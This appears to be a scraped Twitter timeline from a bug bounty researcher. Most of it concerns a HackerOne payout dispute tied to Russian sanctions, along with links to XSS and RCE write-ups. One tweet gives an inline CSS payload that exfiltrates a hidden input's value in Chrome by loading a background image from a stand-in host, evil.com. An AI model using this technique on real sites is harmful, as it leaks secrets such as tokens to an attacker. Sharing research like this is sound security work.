skavans

@Hacker0x01 @ngalongc @emgeekboy @fransrosen @jobertabma

How I stopped hunting on @Hacker0x01 after years because they stole my $50k. #HackerOne #BugBounty @skavans_/how-i-stopped-hunting-on-hackerone-after-years-because-they-stole-my-50k-and-so-should-you-7328b8af30f1" target="_blank" rel="nofollow noopener">medium.com/@skavans_/how-…

4) Actually yes, the money are "just frozen" till the sanctions end. BUT, AFAIK, there's no sanctions now restricting all payments to Russia. There are banks under sanctions, there are ones that not. And Google pays to these banks. But H1 doesn't.

Given all the above, anyone can make his own opinion about is it a theft or not and does H1 deserve working with.

So it make me think H1 just doesn't want to execute their part of a deal and they aren't going to support their "valuable researchers". 5) I've got NO reply from H1 regarding my questions since March. This tweet doesn't change anything too.

@yeswehack @Bugcrowd @GoogleVRP @fbsecurity Folks do any of you plan to continue working with Russian researchers in strict accordance with your policy and following just gov sanctions not your own ones?

Improving the impact of a mouse-related XSS with styling and CSS-gadgets link.medium.com/KmM8n8UfAnb

🇺🇸 Started a Telegram channel in English with my Bug bounty thoughts, tips and tricks. t.me/+acAl6cshjlpjO… 🇷🇺 Начал вести Telegram-канал на русском о своем опыте Bug Bounty t.me/+bAi21VjerxUyM…

@d0nutptr @SecurityMB @PortSwiggerRes Guys I believe I found a way to simplify css exfiltration from hidden inputs in Chrome. You may be interested :)

It's interesting that CSS-exfiltration of "hidden input" value is possible if you make a browser think the input is not hidden. <input type=hidden value=123> <style> input[value^="1"] {display: block; background-image: url(evil.com/1)} </style> Works in Chrome 👍

To celebrate 10 years of @google's Vulnerability Rewards Programs, we are excited to announce the launch of our new platform: bughunters.google.com! Learn more about the platform and enhancements to our VRP program here: security.googleblog.com/2021/07/a-new-…

Yay, I reached the top 100 on @Hacker0x01! :)

Attack of the clones: Git clients remote code execution blog.blazeinfosec.com/attack-of-the-…

From a 500 error to Django admin takeover. A bug worth 3000$ blog.shashank.co/2020/11/from-5… #BugBounty

We've added two new sections on content types to our XSS cheat sheet. They are useful when you can upload a file or control part of the content type header. Big thanks to @Black2Fan for the great research and @shafigullin for the request. #content-types" target="_blank" rel="nofollow noopener">portswigger.net/web-security/c…

“$25K Instagram Almost XSS Filter Link — Facebook Bug Bounty” por Andres Alonso link.medium.com/4kVdtqCTV9